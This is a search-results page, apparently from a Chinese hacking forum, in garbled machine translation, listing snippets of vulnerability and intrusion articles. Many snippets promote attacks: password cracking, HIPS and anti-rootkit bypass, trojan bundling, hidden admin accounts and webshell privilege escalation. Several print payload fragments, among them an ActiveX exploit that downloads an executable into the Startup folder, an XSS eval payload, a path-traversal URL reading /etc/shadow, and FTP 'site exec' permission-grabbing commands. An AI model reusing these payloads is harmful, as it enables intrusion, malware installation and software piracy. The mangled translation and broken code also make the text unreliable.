7620 matches found
Crack so-called page source code encryption-vulnerability warning-the black bar safety net
javascript:s=document. documentElement. outerHTML;document. write'body/body';document. body. innerText=s; Open any of the encrypted pages, put this line of code to paste into the address bar, enter, source code is immediately apparent. Principle: the encrypted code must go through their own...
Preliminary validation of my thoughts--about 3 6 0 safe guard of self-protection-vulnerability warning-the black bar safety net
About 3 6 0 security guards(3 6 0 safe of self-preservation, I see a lot of advertising, but have not been to research. Today was evacuated carefully looked at because it is doubts it. The program in the kernel just hung up two Hook(KiSystemService, the KeUserModeCallback, then how is it possible...
Published some of Ring3 at the end of the process of skill-vulnerability warning-the black bar safety net
In response to the XHR call, in 2 0 0 8 年 5 月 5, re-finishing, and some new skills. 2 0 0 8 years 7 months 1 3 to increase a skill. All of OpenProcess/ZwOpenProcess/OpenThread/ZwOpenThread can replace the ZwQuerySystemInformation-ZwOpenProcess-ZwDuplicateObject it. Specific is why your own...
Simple little program, bypassing the HIPS monitoring-vulnerability warning-the black bar safety net
This is a little experiment. From abroad of a program. The test object is the more popular of the SSM. Other HIPS are basically the same. First we put the paint program rule deleted. And then run a draw to confirm the rule has been deleted. Stop it. ! Now running our test program, and drawing...
JPEG EXIF cross site attacks-vulnerability warning-the black bar safety net
Article author: dark night costumes Leave the hacking community after a long time LOR...life is so real Ahha hamissed previously. This time play the camera. Digital,SLR are in play. At the same time I'm ready to do a thematic photography figure Bo. In the study very much Station popular Upload a...
Many master elevated skill-vulnerability warning-the black bar safety net
The present article combines many of the master elevated tips When we get a webshell when next you want to do is elevate privileges Personal summary as follows: 1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere see if you can jump to this directory, if the line that is t...
Pubwin2007 the cafe management software I to break-vulnerability warning-the black bar safety net
Today on the QQ accidentally met a buddy fucker 0 0 1 2 haha. Long time no see. Chat a few words he passed me a tool of the elite cafe auxiliary tool 5. 9 It.. My Halo took a look the original is the elite cafe auxiliary tool my disk in memory. There is no more want. He said he can hack cafe free...
Radmin password-cracking-vulnerability warning-the black bar safety net
Tutorial developer:century black horse Radmin is a very good Server Management Software Whether it is a Remote Desktop control or file transfer Speed very fast very convenient This also formed a lot of management software Now you say 4 8 9 9 default port no password for the server you where looki...
Storm 2008Beta1 the latest remote overflow 0day analysis-vulnerability warning-the black bar safety net
[email protected] Nearly this vulnerability reported to the storm. Disclaimer: pure technology research, and the prohibition of herein relevant code illegal purposes! At your own risk! Download address: A, vulnerability analysis Today in the afternoon to help colleagues find a software and a new...
Alternative crack dual system Vista password-vulnerability warning-the black bar safety net
Install XP+Vista dual system more and more users, but there are always some careless people will forget Vista account password. Since Vista uses more than XP is more strict login authentication, if forgotten password, we are very difficult to enter the system. However, Microsoft in the login scre...
Ninety percent of the IE vulnerability-a vulnerability warning-the black bar safety net
JavaScript IE 6 vulnerability Its use of code as follows: script type="text/jscript" function init document. write"The time is:" + Date ; window. onload = init; /script Using this code you can hide the page in front of html code, run after it can only see the javascript statement inside the...
Green create articles simple system analysis-vulnerability warning-the black bar safety net
Analysis time: 2008-7-7 1 of 4: 38-18: a 0 0 Vulnerability release:Awolf small C Affected versions: QCDNNEWS Version 4.13 other version not see Vulnerability file: UserReg. asp Note:Use this article to do illegal acts with the author himself independent Recently to the company to find the entire...
4 kinds of the most popular Trojans bundled Controller skills-vulnerability warning-the black bar safety net
A traditional bundle This principle is very simple, is currently the most used one. Is the B. exe attached to A. exe at the end. So when A. exe to be executed when the B. exe also follow the implementation. This bundle of code over the network. My earliest is from jingtao's an article about the...
System in a variety of hidden super user method-vulnerability warning-the black bar safety net
One, how in the graphical interface to establish a hidden super user Graphical interface for local or open 3 3 8 9 Terminal Services the broiler. Above I mentioned that the author said the method is very good, but more complex, 还要用到psu.exelet the program to the system user identity of the running...
MS Office Snapshot Viewer ActiveX Exploit (executable version)-vulnerability warning-the black bar safety net
By:lcx Executable version, please do not used for illegal purposes. script type="text/javascript" function killErrors return true; window. onerror = killErrors; var x; var obj; var mycars = new Array; mycars0 = "c:/Program Files/Outlook Express/wab.exe"; mycars1 = "d:/Program Files/Outlook...
Phpcms 2 0 0 7 remote file inclusion vulnerability-vulnerability warning-the black bar safety net
zzPhpcms 2 0 0 7 remote file include vulnerability url:http://www. wolvez. org/forum/redirect. php? tid=1 8 2&goto=lastpost This vulnerability is a more common variable coverage holes, where the transfer is due to the discovery of this vulnerability if it is a white box that you want to have a...
Small conference Baidu post bar title XSS vulnerabilities [Fixed]-bug warning-the black bar safety net
Source: 80sex The first reference to http://www. 80sec. com/charset-xss. html.:) This vulnerability in different browsers on the performance of the out the effects of each different, in GBKXX coding the next FF will recognize this illegal character put it when half the width of the byte and a...
The with WinRAR parse the Trojans tied for Addendum-vulnerability warning-the black bar safety net
Friends see the with WinRAR parse Trojans bundled of May will have a doubt: sometimes encountered in the WinRAR self-extracting documents, self-extracting later while running the plurality of documents, The with WinRAR parse Trojan bundle of a text is described in the self-extracting later while...
9 ways to crack XP logon password-vulnerability warning-the black bar safety net
Windows XP the use of the process if you are a very easily forgotten people, so be sure not to forget in the first time set a password while creating a piece you can recover Windows XP account password, startup disk, it allows you to avoid formatting the hard disk troubles. From the“Control...
Sun ASP Server-vulnerability warning-the black bar safety net
iDefense yesterday to blast a bunch of Sun ASP Server vulnerabilities, the write scan plug-in when the way to Test it, to reproduce one of: http://ip:5100/caspsamp/shared/viewsource.asp?source=/caspsamp/../../../../etc/shadow It really is very powerful...
php escapeshellcmd multibyte encoding vulnerability analysis and extension-a vulnerability warning-the black bar safety net
漏洞 公告 在 http://www.sektioneins.de/advisories/SE-2008-03.txt PHP 5 = 5.2.5 PHP 4 = 4.4.8 Some allow as GBK, EUC-KR, SJIS, etc. wide byte character set systems may be affected by this impact, the impact is still very large, the domestic virtual host should be the pass to kill, in testing this...
Wind noise CMS4. 0sp5 commercial version of the fatal-vulnerability warning-the black bar safety net
Article author: oldjun&flyh4t script security team Information source: evil octal information security team www.eviloctal.com) Note: the article has been published in the hackers Handbook, by the author of friendship submitted to the evil octal information security team technology Forum, reproduc...
SuperCMS upload vulnerability in! - Vulnerability warning-the black bar safety net
from:%5c Keywords: SuperCMS. asp Powered by SuperCMS SuperCMS news article content management system v1. 0 Also is inadvertently found, see no one posted, I just first came out! http://URL/CmsEditor/AdminLogin.asp Using the eWebEditor editor, careless webmaster might not notice the change Editor...
The Microsoft Office Snapshot Viewer ActiveX Exploit-vulnerability warning-the black bar safety net
Source: http://hi.baidu.com/cloie/ Today someone made a Snapshot Viewer of the ADV, combined with the CERT that dranzer. pdf, to reproduce the vulnerability EXP: the var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/"Start"菜单 / 程序 / 启动 /test.exe'; obj...
Good fine enterprise website Management System 2 0 0 7-V09 vulnerability-vulnerability warning-the black bar safety net
Relates to version: fine fine enterprise website Management System2 0 0 7-V09official commercial version The other version did not do the test /Should be all of the/ Vulnerability file: EnProductShow. asp /subsequent versions/ ProductShow. asp /earlier version/ ProductShow. asp /later versions/...
A small BUG in the analysis, imaginary and successfully exploited-vulnerability warning-the black bar safety net
To my point of view, this should be a Bugalthough the use of Don't, but it is worth noting, this small Bug was in my test SystemDev news system found because no much use and is imaginary doctrine, so it and the SystemDev news system vulnerability analysis under this article separately from the...
Encrypt your Malaysia-vulnerability warning-the black bar safety net
Everyone in the invasion should be picked up by someone else's Webshell? Maybe some Malaysia function very well, so you just use that, but you didn't think the horse may have a back door? Now a lot of Malaysian are encrypted, open when a garbled, is not also want to encrypt their high-powered,...
Crack Office 2 0 0 7 The Simplified Chinese version of method-vulnerability warning-the black bar safety net
Online streaming, the icech test this method really available! 1. Install Office 2 0 0 7 Ultimate do not enter the serial number; 2. The installation is complete, do not run Word, Excell and any other Office program components; 3. Into the directory: C:\Program Files\Common Files\Microsoft...
Alibaba's Alipay controls exploit research-vulnerability warning-the black bar safety net
About Alibaba Alipay controls vulnerability, the network is also controversial. Some say that vulnerability exists, and some say does not exist, give me also don't know the letter who. However, no investigation has no say, or let our own go looking for the answer to the question. We first take a...
Surf fixes a few security vulnerabilities-vulnerability warning-the black bar safety net
In 80sec notification to travel into the presence of the security vulnerability after that, surf to 6. 3 0 released a new version of the browser, fixes the previously mentioned security vulnerability, the specific update can be found http://blog. maxthon. cn/, the update fixes three security...
Oblog latest injection vulnerabilities analysis(already patched)-vulnerability warning-the black bar safety net
Date: 2008-5-15 Author: YamatoBCT Version: for Oblog 4.5-4.6 sql Code analysis: File In/ClassUserCommand. asp : strMonth=Request"month" //6th line 3 strDay=Request"day" ...... Case "month" //the first 8 line 4 Dim LastDay GPFileName = GPFileName & "month&month=" & strMonth strDay=LeftstrMonth,4 &...
Kill IceSword-vulnerability warning-the black bar safety net
Posted By Inking This article is a study of the Rootkit... and the SSDT Hook magical-against ring0 inline hook after the results. According to the SSDT Hook magical-against ring0 inline hook said, IceSword inline Hook the NtOpenProcess function, but when I wrote out the code when how also unable ...
Ttplayer med File format stack overflow-vulnerability warning-the black bar safety net
author: dummy e-mail: [email protected] date: 2008/02/25 Ttplayer using libmod to the mod class file format processing, this library in ReadMed function, no check File description length, if passed a maliciously constructed value, will result in a heap overflow. Now using the libmod software many...
MS.NET Framework vulnerability exists there is no patch-vulnerability warning-the black bar safety net
Microsoft . NET Framework is a popular software development tool kit. . NET Framework in processing within the block request when there is vulnerability, an attacker could exploit this vulnerability to inject script code execution. . NET Framework not correctly filter embedded. NET request,...
Window of the world browser such as local xss cross-domain vulnerability POC-vulnerability warning-the black bar safety net
Vulnerability description: http://www.80sec.com/360-sec-browser-localzone-xss. html Document source:http://www. 80sec. com/release/The-world-browser-locale-zone-xss-POC.txt Vulnerability analysis: the window of the world browser in the start page is res://E:\PROGRA1\THEWOR1.0\LANGUAGES\CHS.DLL...
Keller Web Admin CMS exp-vulnerability warning-the black bar safety net
Keller Web Admin CMS Local File Inclusion Vulnerability APPLICATION : Keller Web Admin CMS VERSION : 0.94 Pro VENDOR : N/A DOWNLOAD : http://downloads.sourceforge.net/kwa --- Local File Inclusion --- ------------------------------------- Vulnerable File /Public/index.php...
Baidu home break hung it to the vulnerability-vulnerability warning-the black bar safety net
By: eggplant treasure ps: direct browser access, as far as hanging horse? Yourself to play it. http://www.baidu.com/index.php?bar="//style=xss:expressionwindow. r!= 1? eval'window. r=1;evalunescapelocation. hash. substr1':1;alert%2 8 1 2 1 2 1 2% 2 9...
On the SWF that famous vulnerability-vulnerability warning-the black bar safety net
Author: zodiacsoft Source: Swan paste&&crow sauce Toooooooooooooooooold That is, the CVE-2 0 0 7-0 0 7 1, The flash9x. ocx problems, version has been the impact to the 9. 0. 1 1 5 The. The vulnerability itself is very simple, Dowd's thinking in the direction without departing from the General...
WAP Web Application Security-vulnerability warning-the black bar safety net
Author: lake2 80sec EMail: lake280sec.com Site: http://www.80sec.com Date: 2008-6-10 --------------------------------- Directory 0x00 is utter bullshit. 0x01 WML and WMLScript 0x02 WML injection attacks 0x03 WML injected into what can be done 0x04 WAP site session security 0x05 PostScript...
World horse ASP receiving program vulnerability-vulnerability warning-the black bar safety net
Recently read an octal Forum on the against the Bole of the ASP receiving the program's vulnerability analysis, through the submission of data to obtain webshell. Just have a friend let me take a look at the world of horses submitted questions! Mainly due to some programs the user to customize so...
Ghost has a vulnerability mirroring recovery need to be careful-vulnerability warning-the black bar safety net
Today the world and the popular online variety of your Windows XP system universal Ghost installation disc and files, it is also really easy to install a system only need to restore the lower Ghost Image File, decorate the drive, breaking off more than ten minutes to complete. But the various...
vc6. 0 stack overflow-vulnerability warning-the black bar safety net
from:Phantom maillist Hold for six months. The problem is that the include file name length is not detected. For example include "AAAA.... AA"-A It will be hung. =2008-2-17 found vulnerabilities. 2008-3-3 report to MS, same day received a reply, saying that under study. 2008-3-4 MS confirmed this...
Yahoo! Statistical functions cross-site scripting vulnerability-vulnerability warning-the black bar safety net
Source: 80sec Vulnerability Description: The yahoo statistics function is widely used for site access statistics, used to make a variety of data analysis such as access to the source, The Client Access page statistics, etc., specific information can access the web site http://tongjia. yahoo. cn...
Play a game of webshell game-bug warning-the black bar safety net
To hack the x-Files cast a draft, two months, and haven't selected, and now it sends to the Just look at it, the article is bad, Don't laugh,the picture is zoom out, tap the picture you can see the big picture. Play a game of webshell game The desert(baiker2008 Now many of the side dishes, speaki...
Seeing as the virtual-to resolve the image hijacking techniques-vulnerability warning-the black bar safety net
A. Strange poisoning In the finished test section of the clerks Office of a computer on the toss after half an hour, the computer maintenance Department of the technician only to feel the eyelids non-stop racing, because from the beginning to take over this task beginning, he would have been doin...
Php injection point construct-vulnerability warning-the black bar safety net
Php injection point configuration Put the following saved into a Test.php ? $mysqlservername = "localhost"; $mysqlusername = "root"; $mysqlpassword = "password"; $mysqldatabase = "phpzr"; //?? ݿ?? $conn=mysqlconnect $mysqlservername, $mysqlusername, $mysqlpassword ;...
PHP168 X-Forwarded-For exploit-vulnerability warning-the black bar safety net
amxku's blog http://www.amxku.net/ author: amxku The vulnerability itself is the cause of nothing to say, old X-Forwarded-For problem, I think this loophole a lot of people have found it. Because of this vulnerability for some time, and was just on the pc to test it, may be some error, interested...
By FTP for breakthrough IP filtering-vulnerability warning-the black bar safety net
quote site exec "cacls.exe d: /e /t /g everyone:F" msgstr "" put the d drive set to everyone can browse such a export file on the D drive you can download a... quote site exec "regedit-e D:\1.reg HKEYLOCALMACHINE\SYSTEM\ControlSet001\Services\Tcpip" Export Registry in about the TCP/IP Filter of t...
How to use the command to Package a site,including its directory file-vulnerability warning-the black bar safety net
Author: ice Fox prodigal son Often encounter a friend asked some questions,later here will be a gradual collection How to use the command to Package a site,including its directory file This problem would have been very simple,because most sites the host will install the winrar,if you get the shel...
Microsoft Windows WINS service local elevation of privilege vulnerability-vulnerability warning-the black bar safety net
Source: IT Lab Microsoft Windows is Microsoft released the very popularoperating system. In Windows, the WINS service does not adequately validate specially crafted WINS network packets within the data structure, may allow a local attacker to use elevated permissions to run the code. Release date...